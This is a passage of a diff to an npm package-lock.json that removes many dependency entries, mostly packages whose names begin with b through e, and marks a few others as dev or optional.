"https://registry.npmjs.org/buffer-writer/-/buffer-writer-2.0.0.tgz", +- "integrity": "sha512-a7ZpuTZU1TRtnwyCNW3I5dc0wWNC3VR9S++Ewyk2HHZdrO3CQJqSpd+95Us590V6AL7JqUAH2IwZ/398PmNFgw==", +- "engines": { +- "node": ">=4" +- } +- }, + "node_modules/buffer/node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +@@ -8473,14 +7063,6 @@ + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=" + }, +- "node_modules/byline": { +- "version": "4.2.2", +- "resolved": "https://registry.npmjs.org/byline/-/byline-4.2.2.tgz", +- "integrity": "sha1-wgOpilsCkIIqk4anjtosvVvNsy8=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", +@@ -8557,25 +7139,6 @@ + "node": ">=10" + } + }, +- "node_modules/cache-base": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz", +- "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", +- "dependencies": { +- "collection-visit": "^1.0.0", +- "component-emitter": "^1.2.1", +- "get-value": "^2.0.6", +- "has-value": "^1.0.0", +- "isobject": "^3.0.1", +- "set-value": "^2.0.0", +- "to-object-path": "^0.3.0", +- "union-value": "^1.0.0", +- "unset-value": "^1.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/cache-flow": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/cache-flow/-/cache-flow-1.8.0.tgz", +@@ -8612,53 +7175,6 @@ + "node": ">=8" + } + }, +- "node_modules/cacheable-request": { +- "version": "6.1.0", +- "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz", +- "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==", +- "dependencies": { +- "clone-response": "^1.0.2", +- "get-stream": "^5.1.0", +- "http-cache-semantics": "^4.0.0", +- "keyv": "^3.0.0", +- "lowercase-keys": "^2.0.0", +- "normalize-url": "^4.1.0", +- "responselike": "^1.0.2" +- }, +- "engines": { +- "node": ">=8" +- } +- }, +- "node_modules/cacheable-request/node_modules/get-stream": { +- "version": "5.2.0", +- "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", +- "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", +- "dependencies": { +- "pump": "^3.0.0" +- }, +- "engines": { +- "node": ">=8" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, +- "node_modules/cacheable-request/node_modules/lowercase-keys": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", +- "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", +- "engines": { +- "node": ">=8" +- } +- }, +- "node_modules/cacheable-request/node_modules/normalize-url": { +- "version": "4.5.1", +- "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.1.tgz", +- "integrity": "sha512-9UZCFRHQdNrfTpGg8+1INIg93B6zE0aXMVFkw1WFwvO4SlZywU6aLg5Of0Ap/PgcbSw4LNxvMWXMeugwMCX0AA==", +- "engines": { +- "node": ">=8" +- } +- }, + "node_modules/cachedir": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/cachedir/-/cachedir-2.3.0.tgz", +@@ -8733,6 +7249,7 @@ + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", ++ "dev": true, + "engines": { + "node": ">=10" + }, +@@ -8740,27 +7257,6 @@ + "url": "https://github.com/sponsors/sindresorhus" + } + }, +- "node_modules/camelcase-keys": { +- "version": "4.2.0", +- "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-4.2.0.tgz", +- "integrity": "sha1-oqpfsa9oh1glnDLBQUJteJI7m3c=", +- "dependencies": { +- "camelcase": "^4.1.0", +- "map-obj": "^2.0.0", +- "quick-lru": "^1.0.0" +- }, +- "engines": { +- "node": ">=4" +- } +- }, +- "node_modules/camelcase-keys/node_modules/camelcase": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", +- "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", +- "engines": { +- "node": ">=4" +- } +- }, + "node_modules/camelize": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/camelize/-/camelize-1.0.0.tgz", +@@ -8804,17 +7300,6 @@ + "node": ">= 10" + } + }, +- "node_modules/celebrate": { +- "version": "12.2.0", +- "resolved": "https://registry.npmjs.org/celebrate/-/celebrate-12.2.0.tgz", +- "integrity": "sha512-dkcQaUL4zrPOua/NwTM74jf/NY3wv9Fyb1mkC2ru75KRHowSIDe/tJtIG9yRyPyFCfkr1odif8zNQq23eTwEYg==", +- "dependencies": { +- "@hapi/joi": "17.x.x", +- "@types/hapi__joi": "17.x.x", +- "escape-html": "1.0.3", +- "lodash": "4.17.x" +- } +- }, + "node_modules/chai": { + "version": "4.3.6", + "resolved": "https://registry.npmjs.org/chai/-/chai-4.3.6.tgz", +@@ -8857,24 +7342,6 @@ + "chai": ">= 4.0.0 < 5" + } + }, +- "node_modules/chai-http": { +- "version": "4.3.0", +- "resolved": "https://registry.npmjs.org/chai-http/-/chai-http-4.3.0.tgz", +- "integrity": "sha512-zFTxlN7HLMv+7+SPXZdkd5wUlK+KxH6Q7bIEMiEx0FK3zuuMqL7cwICAQ0V1+yYRozBburYuxN1qZstgHpFZQg==", +- "dev": true, +- "dependencies": { +- "@types/chai": "4", +- "@types/superagent": "^3.8.3", +- "cookiejar": "^2.1.1", +- "is-ip": "^2.0.0", +- "methods": "^1.1.2", +- "qs": "^6.5.1", +- "superagent": "^3.7.0" +- }, +- "engines": { +- "node": ">=4" +- } +- }, + "node_modules/chainsaw": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/chainsaw/-/chainsaw-0.1.0.tgz", +@@ -8952,11 +7419,6 @@ + "node": ">= 0.8.0" + } + }, +- "node_modules/check-types": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/check-types/-/check-types-5.1.0.tgz", +- "integrity": "sha1-NzlN07YEKlEVXpJsOpF1PUmeXcg=" +- }, + "node_modules/cheerio": { + "version": "1.0.0-rc.10", + "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.0.0-rc.10.tgz", +@@ -9039,96 +7501,6 @@ + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz", + "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==" + }, +- "node_modules/class-utils": { +- "version": "0.3.6", +- "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz", +- "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", +- "dependencies": { +- "arr-union": "^3.1.0", +- "define-property": "^0.2.5", +- "isobject": "^3.0.0", +- "static-extend": "^0.1.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/class-utils/node_modules/define-property": { +- "version": "0.2.5", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", +- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", +- "dependencies": { +- "is-descriptor": "^0.1.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/class-utils/node_modules/is-accessor-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", +- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", +- "dependencies": { +- "kind-of": "^3.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/class-utils/node_modules/is-accessor-descriptor/node_modules/kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "dependencies": { +- "is-buffer": "^1.1.5" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/class-utils/node_modules/is-data-descriptor": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", +- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", +- "dependencies": { +- "kind-of": "^3.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/class-utils/node_modules/is-data-descriptor/node_modules/kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "dependencies": { +- "is-buffer": "^1.1.5" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/class-utils/node_modules/is-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", +- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", +- "dependencies": { +- "is-accessor-descriptor": "^0.1.6", +- "is-data-descriptor": "^0.1.4", +- "kind-of": "^5.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/class-utils/node_modules/kind-of": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", +- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/classnames": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.3.1.tgz", +@@ -9167,6 +7539,7 @@ + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/cli/-/cli-1.0.1.tgz", + "integrity": "sha1-IoF1NPJL+klQw01TLUjsvGIbjBQ=", ++ "dev": true, + "dependencies": { + "exit": "0.1.2", + "glob": "^7.1.1" +@@ -9175,29 +7548,6 @@ + "node": ">=0.2.5" + } + }, +- "node_modules/cli-color": { +- "version": "1.4.0", +- "resolved": "https://registry.npmjs.org/cli-color/-/cli-color-1.4.0.tgz", +- "integrity": "sha512-xu6RvQqqrWEo6MPR1eixqGPywhYBHRs653F9jfXB2Hx4jdM/3WxiNE1vppRmxtMIfl16SFYTpYlrnqH/HsK/2w==", +- "dev": true, +- "dependencies": { +- "ansi-regex": "^2.1.1", +- "d": "1", +- "es5-ext": "^0.10.46", +- "es6-iterator": "^2.0.3", +- "memoizee": "^0.4.14", +- "timers-ext": "^0.1.5" +- } +- }, +- "node_modules/cli-color/node_modules/ansi-regex": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", +- "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", +- "dev": true, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/cli-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", +@@ -9312,14 +7662,6 @@ + "node": ">=6" + } + }, +- "node_modules/clone-response": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz", +- "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=", +- "dependencies": { +- "mimic-response": "^1.0.0" +- } +- }, + "node_modules/clone-stats": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/clone-stats/-/clone-stats-1.0.0.tgz", +@@ -9367,15 +7709,6 @@ + "safe-buffer": "~5.1.0" + } + }, +- "node_modules/cls-bluebird": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/cls-bluebird/-/cls-bluebird-2.1.0.tgz", +- "integrity": "sha1-N+8eCAqP+1XC9BZPU28ZGeeWiu4=", +- "dependencies": { +- "is-bluebird": "^1.0.2", +- "shimmer": "^1.1.0" +- } +- }, + "node_modules/cluster": { + "version": "0.7.7", + "resolved": "https://registry.npmjs.org/cluster/-/cluster-0.7.7.tgz", +@@ -9465,18 +7798,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/collection-visit": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", +- "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", +- "dependencies": { +- "map-visit": "^1.0.0", +- "object-visit": "^1.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/color-alpha": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-alpha/-/color-alpha-1.1.3.tgz", +@@ -9525,11 +7846,6 @@ + "integrity": "sha512-Uqbg+J445nc1TKn4FoDPS6ZZqAvEDnwrH42yo8B40JSOgSLxMZ/gt3h4nmCtPLQeXhjJJkqBx7SCY35WnIixaQ==", + "dev": true + }, +- "node_modules/colorette": { +- "version": "1.2.1", +- "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.2.1.tgz", +- "integrity": "sha512-puCDz0CzydiSYOrnXpz/PKd69zRrribezjtE9yd4zvytoRc8+RY/KJPvtPFKZS3E3wP6neGyMe0vOTlHO5L3Pw==" +- }, + "node_modules/colors": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", +@@ -9679,7 +7995,8 @@ + "node_modules/component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", +- "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" ++ "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==", ++ "dev": true + }, + "node_modules/compress-commons": { + "version": "4.1.1", +@@ -9798,27 +8115,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/config": { +- "version": "1.31.0", +- "resolved": "https://registry.npmjs.org/config/-/config-1.31.0.tgz", +- "integrity": "sha512-Ep/l9Rd1J9IPueztJfpbOqVzuKHQh4ZODMNt9xqTYdBBNRXbV4oTu34kCkkfdRVcDq0ohtpaeXGgb+c0LQxFRA==", +- "dependencies": { +- "json5": "^1.0.1" +- }, +- "engines": { +- "node": ">= 4.0.0" +- } +- }, +- "node_modules/config-chain": { +- "version": "1.1.13", +- "resolved": "https://registry.npmjs.org/config-chain/-/config-chain-1.1.13.tgz", +- "integrity": "sha512-qj+f8APARXHrM0hraqXYb2/bOVSV4PvJQlNZ/DVj0QrmNM2q2euizkeuVckQ57J+W0mRH6Hvi+k50M4Jul2VRQ==", +- "dev": true, +- "dependencies": { +- "ini": "^1.3.4", +- "proto-list": "~1.2.1" +- } +- }, + "node_modules/config-master": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/config-master/-/config-master-3.1.0.tgz", +@@ -9837,22 +8133,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/config/node_modules/json5": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", +- "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", +- "dependencies": { +- "minimist": "^1.2.0" +- }, +- "bin": { +- "json5": "lib/cli.js" +- } +- }, +- "node_modules/config/node_modules/minimist": { +- "version": "1.2.5", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", +- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" +- }, + "node_modules/configstore": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/configstore/-/configstore-5.0.1.tgz", +@@ -10128,11 +8408,6 @@ + "node": ">=6.6.0" + } + }, +- "node_modules/cookiejar": { +- "version": "2.1.3", +- "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.3.tgz", +- "integrity": "sha512-JxbCBUdrfr6AQjOXrxoTvAMJO4HBTUIlBzslcJPAz+/KT8yk53fXun51u+RenNYvad/+Vc2DIz5o9UxlCDymFQ==" +- }, + "node_modules/copy-anything": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/copy-anything/-/copy-anything-2.0.6.tgz", +@@ -10145,14 +8420,6 @@ + "url": "https://github.com/sponsors/mesqueeb" + } + }, +- "node_modules/copy-descriptor": { +- "version": "0.1.1", +- "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz", +- "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/core-js": { + "version": "3.21.1", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.21.1.tgz", +@@ -10280,14 +8547,6 @@ + "node": ">=0.8" + } + }, +- "node_modules/cross-fetch": { +- "version": "3.1.5", +- "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.5.tgz", +- "integrity": "sha512-lvb1SBsI0Z7GDwmuid+mU3kWVBwTVUbe7S0H52yaaAdQOXq2YktTCZdlAcNKFzE6QtRz0snpw9bNiPeOIkkQvw==", +- "dependencies": { +- "node-fetch": "2.6.7" +- } +- }, + "node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", +@@ -10487,54 +8746,6 @@ + "node": ">=0.6" + } + }, +- "node_modules/csv": { +- "version": "5.5.3", +- "resolved": "https://registry.npmjs.org/csv/-/csv-5.5.3.tgz", +- "integrity": "sha512-QTaY0XjjhTQOdguARF0lGKm5/mEq9PD9/VhZZegHDIBq2tQwgNpHc3dneD4mGo2iJs+fTKv5Bp0fZ+BRuY3Z0g==", +- "dependencies": { +- "csv-generate": "^3.4.3", +- "csv-parse": "^4.16.3", +- "csv-stringify": "^5.6.5", +- "stream-transform": "^2.1.3" +- }, +- "engines": { +- "node": ">= 0.1.90" +- } +- }, +- "node_modules/csv-generate": { +- "version": "3.4.3", +- "resolved": "https://registry.npmjs.org/csv-generate/-/csv-generate-3.4.3.tgz", +- "integrity": "sha512-w/T+rqR0vwvHqWs/1ZyMDWtHHSJaN06klRqJXBEpDJaM/+dZkso0OKh1VcuuYvK3XM53KysVNq8Ko/epCK8wOw==" +- }, +- "node_modules/csv-parse": { +- "version": "4.16.3", +- "resolved": "https://registry.npmjs.org/csv-parse/-/csv-parse-4.16.3.tgz", +- "integrity": "sha512-cO1I/zmz4w2dcKHVvpCr7JVRu8/FymG5OEpmvsZYlccYolPBLoVGKUHgNoc4ZGkFeFlWGEDmMyBM+TTqRdW/wg==" +- }, +- "node_modules/csv-parser": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/csv-parser/-/csv-parser-3.0.0.tgz", +- "integrity": "sha512-s6OYSXAK3IdKqYO33y09jhypG/bSDHPuyCme/IdEHfWpLf/jKcpitVFyOC6UemgGk8v7Q5u2XE0vvwmanxhGlQ==", +- "dependencies": { +- "minimist": "^1.2.0" +- }, +- "bin": { +- "csv-parser": "bin/csv-parser" +- }, +- "engines": { +- "node": ">= 10" +- } +- }, +- "node_modules/csv-parser/node_modules/minimist": { +- "version": "1.2.5", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", +- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" +- }, +- "node_modules/csv-stringify": { +- "version": "5.6.5", +- "resolved": "https://registry.npmjs.org/csv-stringify/-/csv-stringify-5.6.5.tgz", +- "integrity": "sha512-PjiQ659aQ+fUTQqSrd1XEDnOr52jh30RBurfzkscaE2tPaFsDH5wOAHJiw8XAHphRknCwMUE9KRayc4K/NbO8A==" +- }, + "node_modules/cuid": { + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/cuid/-/cuid-2.1.8.tgz", +@@ -10903,14 +9114,6 @@ + "node": ">=4.0" + } + }, +- "node_modules/date-utils": { +- "version": "1.2.21", +- "resolved": "https://registry.npmjs.org/date-utils/-/date-utils-1.2.21.tgz", +- "integrity": "sha1-YfsWzcEnSzyayq/+n8ad+HIKK2Q=", +- "engines": { +- "node": ">0.4.0" +- } +- }, + "node_modules/dateformat": { + "version": "1.0.4-1.2.3", + "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-1.0.4-1.2.3.tgz", +@@ -10979,25 +9182,6 @@ + "integrity": "sha512-V0pfhfr8suzyPGOx3nmq4aHqabehUZn6Ch9kyFpV79TGDTWFmHqUqXdabR7QHqxzrYolF4+tVmJhUG4OURg5dQ==", + "dev": true + }, +- "node_modules/decode-uri-component": { +- "version": "0.2.0", +- "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", +- "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=", +- "engines": { +- "node": ">=0.10" +- } +- }, +- "node_modules/decompress-response": { +- "version": "3.3.0", +- "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", +- "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", +- "dependencies": { +- "mimic-response": "^1.0.0" +- }, +- "engines": { +- "node": ">=4" +- } +- }, + "node_modules/deep-eql": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz", +@@ -11031,6 +9215,7 @@ + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", ++ "dev": true, + "engines": { + "node": ">=4.0.0" + } +@@ -11045,6 +9230,7 @@ + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", + "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", ++ "dev": true, + "engines": { + "node": ">=0.10.0" + } +@@ -11073,11 +9259,6 @@ + "node": ">=8" + } + }, +- "node_modules/defer-to-connect": { +- "version": "1.1.3", +- "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz", +- "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==" +- }, + "node_modules/define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", +@@ -11098,18 +9279,6 @@ + "node": ">= 0.4" + } + }, +- "node_modules/define-property": { +- "version": "2.0.2", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", +- "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", +- "dependencies": { +- "is-descriptor": "^1.0.2", +- "isobject": "^3.0.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/del": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/del/-/del-6.0.0.tgz", +@@ -11209,17 +9378,6 @@ + "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", + "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=" + }, +- "node_modules/democracy": { +- "version": "3.1.3", +- "resolved": "https://registry.npmjs.org/democracy/-/democracy-3.1.3.tgz", +- "integrity": "sha512-8mvV1WelrEb5/vbXhIxSKCcn5ryErS4Dbscl0y158IsCjaI4kJHZ9fV+rbxztf/ZxJUSRpRB/ow1NBw6bxYoxg==", +- "engines": [ +- "node >= 6.4.0" +- ], +- "dependencies": { +- "shortid": "2.2.14" +- } +- }, + "node_modules/denque": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/denque/-/denque-1.5.1.tgz", +@@ -11236,24 +9394,11 @@ + "node": ">= 0.6" + } + }, +- "node_modules/deprecation": { +- "version": "2.3.1", +- "resolved": "https://registry.npmjs.org/deprecation/-/deprecation-2.3.1.tgz", +- "integrity": "sha512-xmHIy4F3scKVwMsQ4WnVaS8bHOx0DmVwRywosKhaILI0ywMDWPtBSku2HNxRvF7jtwDRsoEwYQSfbxj8b7RlJQ==" +- }, + "node_modules/destroy": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", + "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" + }, +- "node_modules/detect-file": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/detect-file/-/detect-file-1.0.0.tgz", +- "integrity": "sha1-8NZtA2cqglyxtzvbP+YjEMjlUrc=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/detect-libc": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz", +@@ -11603,11 +9748,6 @@ + "url": "https://github.com/sponsors/sindresorhus" + } + }, +- "node_modules/dottie": { +- "version": "2.0.2", +- "resolved": "https://registry.npmjs.org/dottie/-/dottie-2.0.2.tgz", +- "integrity": "sha512-fmrwR04lsniq/uSr8yikThDTrM7epXHBAAjH9TbeH3rEA8tdCO7mRzB9hdmdGyJCxF8KERo9CITcm3kGuoyMhg==" +- }, + "node_modules/double-ended-queue": { + "version": "2.1.0-0", + "resolved": "https://registry.npmjs.org/double-ended-queue/-/double-ended-queue-2.1.0-0.tgz", +@@ -11628,25 +9768,12 @@ + "react": ">=16.12.0" + } + }, +- "node_modules/dropbox": { +- "version": "10.24.0", +- "resolved": "https://registry.npmjs.org/dropbox/-/dropbox-10.24.0.tgz", +- "integrity": "sha512-/BalM59Bj0unsLThGjfRg0ga7o6gL+Z4U6vv7UjhLlIfxoE+RMx52C4ihbkeSgbxeSvSqv9Tvnj99Lx4SBeNFA==", +- "dependencies": { +- "node-fetch": "^2.6.1" +- }, +- "engines": { +- "node": ">=0.10.3" +- }, +- "peerDependencies": { +- "@types/node-fetch": "^2.5.7" +- } +- }, + "node_modules/dtrace-provider": { + "version": "0.8.8", + "resolved": "https://registry.npmjs.org/dtrace-provider/-/dtrace-provider-0.8.8.tgz", + "integrity": "sha512-b7Z7cNtHPhH9EJhNNbbeqTcXB8LGFFZhq1PGgEvpeHlzd36bhbdTWoE/Ba/YguqpBSlAPKnARWhVlhunCMwfxg==", + "hasInstallScript": true, ++ "optional": true, + "dependencies": { + "nan": "^2.14.0" + }, +@@ -11689,11 +9816,6 @@ + "safe-buffer": "~5.1.0" + } + }, +- "node_modules/duplexer3": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz", +- "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=" +- }, + "node_modules/duplexify": { + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz", +@@ -11792,52 +9914,6 @@ + "safe-buffer": "^5.0.1" + } + }, +- "node_modules/editorconfig": { +- "version": "0.15.3", +- "resolved": "https://registry.npmjs.org/editorconfig/-/editorconfig-0.15.3.tgz", +- "integrity": "sha512-M9wIMFx96vq0R4F+gRpY3o2exzb8hEj/n9S8unZtHSvYjibBp/iMufSzvmOcV/laG0ZtuTVGtiJggPOSW2r93g==", +- "dev": true, +- "dependencies": { +- "commander": "^2.19.0", +- "lru-cache": "^4.1.5", +- "semver": "^5.6.0", +- "sigmund": "^1.0.1" +- }, +- "bin": { +- "editorconfig": "bin/editorconfig" +- } +- }, +- "node_modules/editorconfig/node_modules/commander": { +- "version": "2.20.3", +- "resolved": 